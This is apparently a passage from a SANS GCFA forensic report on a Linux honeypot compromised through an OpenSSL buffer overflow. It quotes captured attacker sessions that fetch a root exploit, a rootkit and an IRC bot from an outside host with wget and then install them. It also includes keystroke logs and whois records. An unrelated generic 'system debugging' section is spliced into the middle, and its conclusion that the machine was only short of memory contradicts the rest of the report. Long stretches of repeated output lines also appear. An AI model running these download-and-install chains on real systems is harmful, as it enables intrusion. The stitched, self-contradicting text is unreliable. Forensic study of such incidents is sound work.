14:56:15.825708 192.168.2.15.80 > XXX.XXX.108.64.34919: . ack 2 win 5792 <nop,nop,timestamp 5846569 0,nop,wscale 0> (DF)
14:56:15.825708 XXX.XXX.108.64.34919 > 192.168.2.15.80: F 1:1(0) ack 1 win 5840 <nop,nop,timestamp 5846569 0,nop,wscale 0> (DF)
14:56:15.825708 192.168.2.15.80 > XXX.XXX.108.64.34919: F 1:1(0) ack 1 win 5792 <nop,nop,timestamp 5846569 0,nop,wscale 0> (DF)
14:56:15.825708 XXX.XXX.108.64.34919 > 192.168.2.15.80: . ack 2 win 5840 <nop,nop,timestamp 5846569 0,nop,wscale 0> (DF)
14:56:15.825708 192.168.2.15.80 > XXX.XXX.108.64.34919: . ack 2 win 5792 <nop,nop,timestamp 5846569 0,nop,wscale 0> (DF)
```

17 “OpenSSL servers contain a buffer overflow during the SSL2 handshake process”, (www.kb.cert.org/vuls/id/102795),
www.securityfocus.com/bin/5363
Using Tcpflow we see the request send from XXX.XXX.108.064.34919 to 192.168.002.015.00080 XXX.XXX.108.64.34919. The tcpdump binary log was parsed through tcpflow with the syntax

```
tcpflow -r tcpdump.log.1056866401 'port 34919'
```

The output was two files “ XXX.XXX.108.64.34919-192.168.002.015.00080” and “192.168.002.015.00080-XXX.XXX.108.64.34919”. The output is shown below;
Session logs from snort provided the session activity for the takeover of the victim system. Evidence from session logs demonstrate initial worm like activity. A file named "r" is downloaded and used to elevate privileges to root and a root kit, s.tar.gz is downloaded and uncompressed. The program tcpflow was used to dump the session data. Below we see some of the session data, refer to “Appendix E - Tcpflow Output – Buffer Overflow and Root Kit placements.” for the complete session. The session started at 14:57:44 through to 15:29:41.

```
wget XXX.XXX.com/eladoht/stuff/r;chmod +x r
bash-2.05a$ --15:09:12-- http://XXX.XXX.com/eladoht/stuff/r
 => `r'.
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,916 [text/plain]
0K .......... .........
100% 76.87 KB/s
15:09:13 (76.87 KB/s) - `r' saved [19916/19916]
./r
bash-2.05a$ [+] Attached to 19506
[+] Signal caught
[+] Shellcode placed at 0x4000fd1d
[+] Now wait for suid shell...
su
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
rm -rf r
ls -al
```

wget XXX.XXX.com/eladoht/s.tar.gz
--15:11:16--  http://XXX.XXX.com/eladoht/s.tar.gz
   => 's.tar.gz'

15:11:18  (195.87 KB/s)  --   http://XXX.XXX.com/eladoht/s.tar.gz

```
s/  
.s/du  
.s/find  
.s/killall  
.s/linsniffer  
.s/ls  
.s/netstat  
.s/ps  
.s/pstree  
.s/vdir  
.s/top  
.s/.laddr  
.s/.iaddr  
.s/.logfile  
.s/.llogz  
.s/.lproc  
.s/.clean  
.s/nfsd/  
.s/nfsd/sshd_config  
.s/nfsd/xxh_h  
.s/nfsd/xxh_r  
.s/nfsd/nfsdi  
.s/sshd/  
.s/sshd/init.sshd  
.s/sshd/ssh_host_key  
.s/sshd/sshd-install  
.s/sshd/sshd_config  
.s/install  
.s/sense  
.s/p.sshd
```

```
ls -al
```
total 39

```
drwxr-xr-x  4 502 502  1024 Mar 24 21:41 .s
```

cd .s
./install

The first session ends without the complete installation of the kit. At 15:09:40 two attempts are made to connect to the victim IP from IP XXX.XXX.119.81 on port 18. There is no service on port 18 so the connection is reset. A new series of sessions from IP address XXX.XXX.108.64 to 192.168.2.15 on port 443 is sent. This series is the OpenSSL buffer overflow attack. The overflow gains access and we see the installation of the root kit in tcpflow sessions XXX.XXX.108.064.35089-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35089. This session completes the installation of the rootkit in the directory /tmp/.s. This session started at 15:10:48 and completed at 15:15:18.
One more session is established to download and install bot.tar.gz. The bot.tar.gz kit is downloaded to the victim machine. This buffer over flow session is started at 15:18:22. The tcpflow sessions are XXX.XXX.108.064.35157-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35157. This session installs the bot rootkit from the directory /tmp/.font after the buffer overflow the session starts at 15:18:27 and completes at 15:30:03.

You Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /./, Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!

Your Dir /., Go There And Type ./kds or portmap To Inst
Done!
readline: warning: rl_prep_terminal: cannot get terminal settings
bash: 2.05a$ read
readline: warning: rl_prep_terminal: cannot get terminal settings

wget XXX.XXX.com/eladoht/bot.tgz; tar -zxvf bot.tgz; rm -rf bot.tgz; cd .X11-pipe; chmod +x
inetd/services; inetd/services;

get terminal settings bash: 2.05a$ --15:31:46-- http://XXX.XXX.XXX.com/eladoht/bot.tgz
=> `bot.tgz'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 404 Not Found
tar (child): bot.tgz: Cannot open: No such file or directory
tar (child): Error is not recoverable: exiting now
tar: Child returned status 2
tar: Error exit delayed from previous errors
bash: [19893: 1] tcsetattr: Invalid argument
bash: cd: .X11-pipe: No such file or directory
chmod: getting attributes of `inetd/services': No such file or directory
bash: inetd/services: No such file or directory

wget XXX.XXX.com/eladoht/bot.tgz; tar -zxvf bot.tgz; rm -rf bot.tgz; cd .X11-pipe; chmod +x
inetd/services; inetd/services;
inetd/services

readline: warning: rl_prep_terminal: cannot get terminal settings
bash: 2.05a$ --15:32:45-- http://XXX.XXX.com/eladoht/bot.tgz
=> `bot.tgz'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 764,880 [application/x-tar]
15:32:50 (179.21 KB/s) - `bot.tgz' saved [764880/764880]

.X11-pipe/
.X11-pipe/COPYING
.X11-pipe/README
.X11-pipe/TODD
.X11-pipe/VERSIONS
.X11-pipe/Makefile
.X11-pipe/configure
.X11-pipe/mech.pid
.X11-pipe/lpd.help
.X11-pipe/randfiles/
.X11-pipe/randfiles/randaway.e
.X11-pipe/randfiles/randinsult.e
.X11-pipe/randfiles/randkicks.e
.X11-pipe/randfiles/randnicks.e
.X11-pipe/randfiles/randpickup.e
.X11-pipe/randfiles/randsay.e
.X11-pipe/randfiles/randsignoff.e
.X11-pipe/randfiles/randversions.e
.X11-pipe/src/
.X11-pipe/src/Makefile.in
.X11-pipe/src/configfile.c
.X11-pipe/src/channel.c
.X11-pipe/src/com-ons.c
.X11-pipe/src/combot.c
.X11-pipe/src/commands.c
.X11-pipe/src/config.h.in
.X11-pipe/src/dcc.c
.X11-pipe/src/debug.c
.X11-pipe/src/defines.h
.X11-pipe/src/function.c
.X11-pipe/src/global.h
The bash command `ps ax` is shown, along with a warning from `readline` about getting terminal settings.

```
readline: warning: rl_prep_terminal: cannot get terminal settings
```

A table of processes is also displayed:

```
<table>
<thead>
<tr>
<th>PID</th>
<th>TTY</th>
<th>STAT</th>
<th>TIME</th>
<th>COMMAND</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>S</td>
<td>0:04</td>
<td>init</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>S</td>
<td>0:00</td>
<td>[keventd]</td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>S</td>
<td>0:00</td>
<td>[kswapd]</td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>SWN</td>
<td>0:00</td>
<td>[ksoftirqd_CPU0]</td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>SW</td>
<td>0:02</td>
<td>[kswapd]</td>
<td></td>
</tr>
<tr>
<td>6</td>
<td>SW</td>
<td>0:00</td>
<td>[bdflush]</td>
<td></td>
</tr>
<tr>
<td>7</td>
<td>SW</td>
<td>0:00</td>
<td>[kup dated]</td>
<td></td>
</tr>
<tr>
<td>8</td>
<td>SW</td>
<td>0:00</td>
<td>[mdrecoveryd]</td>
<td></td>
</tr>
<tr>
<td>9</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>91</td>
<td>SW</td>
<td>0:00</td>
<td>[khubd]</td>
<td></td>
</tr>
<tr>
<td>186</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>187</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>188</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>189</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>657</td>
<td>S</td>
<td>0:00</td>
<td>[rcp,statd]</td>
<td></td>
</tr>
<tr>
<td>770</td>
<td>S</td>
<td>0:00</td>
<td>[us rs/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-s c]</td>
<td></td>
</tr>
<tr>
<td>790</td>
<td>S</td>
<td>0:01</td>
<td>[ntpd -U ntp -g]</td>
<td></td>
</tr>
<tr>
<td>842</td>
<td>S</td>
<td>0:01</td>
<td>[us rs/sbin/sshd]</td>
<td></td>
</tr>
<tr>
<td>875</td>
<td>S</td>
<td>0:00</td>
<td>[xinetd -stayalive -reuse -pidfile /var/run/xinetd.pid]</td>
<td></td>
</tr>
<tr>
<td>916</td>
<td>S</td>
<td>0:00</td>
<td>[sendmail: accepting connections]</td>
<td></td>
</tr>
<tr>
<td>935</td>
<td>S</td>
<td>0:00</td>
<td>[gpm -t ps/2 -m /dev/mouse]</td>
<td></td>
</tr>
<tr>
<td>953</td>
<td>S</td>
<td>0:00</td>
<td>[cron]</td>
<td></td>
</tr>
<tr>
<td>1005</td>
<td>S</td>
<td>0:03</td>
<td>[xfs -droppriv -daemon]</td>
<td></td>
</tr>
</tbody>
</table>
```
### Task 1: Debugging the System

#### Step 1: Understanding the Logs

The system is currently running a number of processes, including the Apache HTTP server, KDE, and various graphical applications.

#### Step 2: Identifying the Issue

Upon reviewing the logs, it appears that the system is running out of memory, as evidenced by the high number of processes and their memory usage.

#### Step 3: Monitoring the System

Using the `top` command, it can be observed that the CPU usage is relatively low, but the memory usage is quite high.

#### Step 4: Analyzing the Logs

Looking at the log files, there are no apparent errors or warnings that would indicate a specific issue with the system.

#### Step 5: Troubleshooting

- **Memory Usage**: Check if there are any large memory leaks or processes that are consuming excessive memory.
- **CPU Usage**: Ensure that the CPU usage is not being affected by a resource-intensive process.
- **System Load**: Monitor the system load to ensure it is not overloaded.

#### Step 6: Optimizing Performance

- **Memory Management**: Use tools like `top` and `free` to monitor memory usage and free up unnecessary processes.
- **Resource Limits**: Set resource limits for processes to prevent them from consuming too much memory or CPU.
- **System Tuning**: Adjust system settings to optimize performance.

### Task 2: Security Assessment

#### Step 1: Access Control

- **Directory Permissions**: Review the permissions on directory `/usr/bin` to ensure that only authorized users have access.
- **File Permissions**: Check the permissions on all files to ensure they are set correctly.

#### Step 2: Authentication and Authorization

- **User Authentication**: Configure the `/etc/passwd` file to include the necessary users.
- **Group Permissions**: Set appropriate group permissions for critical directories.

#### Step 3: Remote Access

- **Firewall Configuration**: Ensure the firewall is configured to block any unauthorized remote access.
- **Secure Shell (SSH)**: Configure secure shell settings to ensure strong encryption.

#### Step 4: Data Encryption

- **File Encryption**: Use tools like `gpg` to encrypt sensitive files.
- **Database Encryption**: Securely encrypt database passwords and keys.

#### Step 5: Log Analysis

- **Access Logs**: Analyze access logs for any unusual or unauthorized access attempts.
- **Security Alerts**: Monitor security alerts and respond to any suspicious activity.

### Task 3: Performance Optimization

#### Step 1: Resource Allocation

- **CPU Affinity**: Assign CPU affinity to processes to optimize performance.
- **Memory Caching**: Use system caching to improve performance.

#### Step 2: System Monitoring

- **Performance Metrics**: Monitor key performance metrics using tools like `top` and `iostat`.
- **Resource Usage**: Keep track of resource usage to identify bottlenecks.

#### Step 3: Optimization Strategies

- **File System Optimization**: Use tools like `fsck` to optimize the file system.
- **Compiler Optimization**: Use compiler flags to optimize compiled applications.

### Task 4: Continuity of Operations

#### Step 1: Disaster Recovery Planning

- **Backup Strategy**: Develop a robust backup strategy to recover critical data in case of a disaster.
- **Disaster Recovery Plan**: Create a detailed disaster recovery plan.

#### Step 2: Business Impact Assessment

- **Critical Services**: Identify critical services and assess their impact on business operations.
- **Recovery Time Objectives**: Define recovery time objectives for critical services.

#### Step 3: Testing and Drills

- **Regular Drills**: Conduct regular drills to ensure all personnel are prepared for a disaster.
- **Testing Procedures**: Test disaster recovery procedures to ensure they are effective.

### Task 5: Legal and Compliance Requirements

- **Data Protection**: Ensure compliance with data protection regulations like GDPR.
- **Incident Reporting**: Develop a protocol for reporting security incidents.

### Task 6: Conclusion

The system was found to be running out of memory, and the logs did not indicate any specific issues. Further monitoring and optimization strategies were suggested to improve system performance.

---

**Additional Resources:**

- [Apache Logs Analysis](https://example.com/aptx_logs)
- [Memory Tuning Guide](https://example.com/memory_tuning)
- [Security best practices](https://example.com/security_best_practices)
Below are a summary of the session and the files downloaded. The file ‘r’ was repeatedly downloaded, used to elevate privileges to root, and removed.

The IRC bot connections began at 15:22:51 the last incoming connection occurred at 16:52:24. The IRC channel that the victim machine participated in was Stockholm.SE.eu.Undernet.org.

Sebek output provided keystroke evidence of actions taken. Sebek output and the output logging from the rootkit install provided information on changes to configurations files to examine further.
Kevin Miller - Sans GCFA Assignment — v1.4

<table>
<thead>
<tr>
<th>Time</th>
<th>Command</th>
<th>Parameters</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>15:42:31</td>
<td>cd /tmp</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:42:35</td>
<td>ls -al</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:42:57</td>
<td>cd /tmp</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:43:02</td>
<td>cd /tmp</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:43:07</td>
<td>cd /tmp</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:43:20</td>
<td>cd /tmp</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:43:24</td>
<td>ps ax</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:43:27</td>
<td>killall -9 cp chmod</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:43:37</td>
<td>cd /tmp</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:43:43</td>
<td>cd /tmp</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:43:58</td>
<td>ps ax</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:45:17</td>
<td>cd /tmp</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:45:21</td>
<td>mkdir . EhT</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:45:28</td>
<td>cd /tmp</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:45:31</td>
<td>cd . font-unknown</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:45:39</td>
<td>wget XXX.XXX.com/ftp/samba.tgz</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:46:01</td>
<td>tar cxfvf . samba.tgz</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:46:12</td>
<td>cd /tmp</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:46:17</td>
<td>ifconfig</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:46:28</td>
<td>cd /tmp</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:48:50</td>
<td>ls -al</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:56:22</td>
<td>cd /tmp</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:56:24</td>
<td>nmap</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:56:53</td>
<td>cd /tmp</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:57:46</td>
<td>lsy XXX.XXX.42.58</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:58:34</td>
<td>lsy XXX.XXX.42.58</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:58:53</td>
<td>lsy XXX.XXX.42.58</td>
<td></td>
<td></td>
</tr>
<tr>
<td>15:59:19</td>
<td>lsy XXX.XXX.42.58</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:00:04</td>
<td>lsy XXX.XXX.42.58</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:02:29</td>
<td>lsy XXX.XXX.42.58</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:02:50</td>
<td>lsy XXX.XXX.42.58</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:13:51</td>
<td>lsy XXX.XXX.42.58</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:20:26</td>
<td>lsy XXX.XXX.42.58</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:21:34</td>
<td>lsy XXX.XXX.42.58</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:25:11</td>
<td>lsy XXX.XXX.42.58</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:30:59</td>
<td>lsy XXX.XXX.42.58</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:32:42</td>
<td>lsy XXX.XXX.42.58</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:34:31</td>
<td>lsy XXX.XXX.42.58</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:35:27</td>
<td>lsy XXX.XXX.42.58</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:35:45</td>
<td>lsy XXX.XXX.42.58</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:36:44</td>
<td>lsy XXX.XXX.42.58</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:38:02</td>
<td>lsy XXX.XXX.42.58</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:38:55</td>
<td>lsy XXX.XXX.42.58</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:40:01</td>
<td>lsy XXX.XXX.42.58</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:40:58</td>
<td>lsy XXX.XXX.42.58</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:47:42</td>
<td>lsy XXX.XXX.42.58</td>
<td></td>
<td></td>
</tr>
<tr>
<td>16:52:08</td>
<td>lsy XXX.XXX.42.58</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
The sebek log events and the tcpdump output show the TCP port 18 connections originating from IP XXX.XXX.119.81. The samba.tar.gz file was retrieved during the port 18 connection.

A Whois lookup in ARIN pointed to the RIPE. A whois lookup using RIPE (www.ripe.net) showed the IP address belonging to XXXXX XXXXX Network S.A. in Bucharest, Romania.

```
inethnum:   XXX.XXX.96.0 - XXX.XXX.127.255
netname:    XXXXX
descr:      XXXXX XXXXX Network S.A.
descr:      XXXXX XXXXX Network
country:    RO
admin-c:    BT17-RIPE
techn-c:    PDNN1-RIPE
status:     ASSIGNED PA
notify:     XXXXX@XXXXX.ro
mnt-by:     AS8503-MNT
changed:    XXXXX@XXXXX.ro 20030704
source:     RIPE
route:      XXX.XXX.116.0/22
descr:      PCNET
origin:     AS8503
notify:     XXXXX@XXXXX.ro
mnt-by:     AS8503-MNT
changed:    XXXXX@XXXXX.ro 20020912
source:     RIPE
role:       XXXXX XXXXX Network NOC
address:    XXXXX XXXXX, nr. 10
address:    Bucharest, ROMANIA
phone:      +XX 1 555 86 61
phone:      +XX 1 555 35 23
fax-no:     +XX 1 555 49 99
e-mail:     XXXXX@XXXXX.ro
trouble:    +XX X 555 18 84
```
| admin-c:   | BT17-RIPE          |
| tech-c:   | BT17-RIPE          |
| tech-c:   | AP158-RIPE         |
| tech-c:   | CM3059-RIPE        |
| tech-c:   | CN19-RIPE          |
| tech-c:   | IG20-RIPE          |
| tech-c:   | CR60-RIPE          |
| nic-hdl:  | PDNN1-RIPE         |
| remarks:  | -------------------|
| remarks:  | abuse: abuse@XXXXX.ro|
| remarks:  | -------------------|
| remarks:  | for escalation please directly call the technical manager |
| notify:   | XXXXX@XXXXX.ro     |
| mnt-by:   | AS8503-MNT         |
| changed:  | XXXXX@XXXXX.ro 20011008 |
| source:   | RIPE               |
| person:   | XXXXX XXXX         |
| remarks:  | Technical Manager  |
| remarks:  | XXXXX XXXX Network S.A. |
| address:  | Bucharest, Romania |
| phone:    | +XX X 555 18 84    |
| phone:    | +XX 1 555 86 61    |
| phone:    | +XX 1 555 35 23    |
| fax-no:   | +XX 1 555 49 99    |
| nic-hdl:  | BT17-RIPE          |
| mnt-by:   | BT17-RIPE-MNT      |
| notify:   | XXXXX@pcnet.ro     |
| e-mail:   | XXXXX@pcnet.ro     |
| changed:  | XXXXX@pcnet.ro 20011009 |
| source:   | RIPE               |
**Tcpflow Output – Buffer Overflow and Root Kit placements.**

The program tcpflow was used to dump the session data. The XXX.XXX.108.65:35054 => 192.168.2.14:443 are the commands that were sent and 92.168.2.14:443 => XXX.XXX.108.65:35054 are the results from the commands. The section below shows the two sessions combined. The lines that are bolded and italicized are from XXX.XXX.108.65:35054=>192.168.2.14:443. The session started at 14:57:44 through to 15:29:41.

```
wget XXX.XXX.com/eladoht/stuff/r;chmod +x r;
bash-2.05a$ --15:09:12-- http://XXX.XXX.com/eladoht/stuff/r
 => 'r'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,916 [text/plain]
15:09:13 (76.87 KB/s) - 'r' saved [19916/19916]

/wr
bash-2.05a$ [+] Attached to 19506
[+] Signal caught
[+] Shellcode placed at 0x4000fd1d
[+] Now wait for suid shell...

su
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
rm -rf r
ls -al total 38
drwxr-xr-x 19 root root 1024 Jun 23 11:59 ..
drwxrwxrwt 2 root root 1024 Jun 23 12:18 .ICE-unix
-rwxr-xr-x 1 root root 11 Jun 19 12:00 .xlock
drwxrwxrwt 2 root root 1024 Jun 23 12:00 .X11-lock
drwxrwxrwt 2 xfs xfs 1024 Jun 23 12:00 .font-unix
drwx------ 2 root root 1024 Jun 23 11:43 .kde
drwxr-xr-x 2 root root 1024 Jun 23 11:48 .mozilla
drwxr-xr-x 2 root root 1024 Jun 19 11:43 .gt
-rwx------ 1 root root 1024 Jun 20 02:17 .rnd
-rw-r--r-- 1 root root 13417 Jun 20 10:17 .xftcache
-rwxr-xr-x 1 root root 890 Jun 20 04:14 X-Test.log
-rw-r--r-- 1 root root 4133 Jun 20 04:14 XF86Config.test
drxw------- 2 userid1 userid1 1024 Jun 23 12:18 kde-userid1
drwx------ 2 root root 1024 Jun 20 10:55 kde-root
drwx------- 2 userid1 userid1 1024 Jun 26 16:40 kskeleton-userid1
drwx------ 2 root root 1024 Jun 23 11:55 kskeleton-root
drwx------- 3 userid1 userid1 1024 Jun 23 12:18 mcop-userid1
drwx------ 3 root root 1024 Jun 20 10:55 mcop-root
-rw-r--r-- 1 root root 0 Jun 29 04:02 session_mm_apache0.sem
drwx------ 2 root root 1024 Jun 20 05:20 texconf.Nzul00wget

wget XXX.XXX.com/eladoht/s.tar.gz
--15:11:16-- http://XXX.XXX.com/eladoht/s.tar.gz
 => 's.tar.gz'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
```
Length: 352,596 [application/x-tar]

```
OK .......... .......... .......... .......... 14% 142.05 KB/s
50K .......... .......... .......... .......... 29% 125.00 KB/s
100K .......... .......... .......... .......... 43% 260.42 KB/s
150K .......... .......... .......... .......... 58% 231.48 KB/s
200K .......... .......... .......... .......... 72% 202.43 KB/s
250K .......... .......... .......... .......... 87% 349.65 KB/s
300K .......... .......... .......... .......... 100% 213.13 KB/s
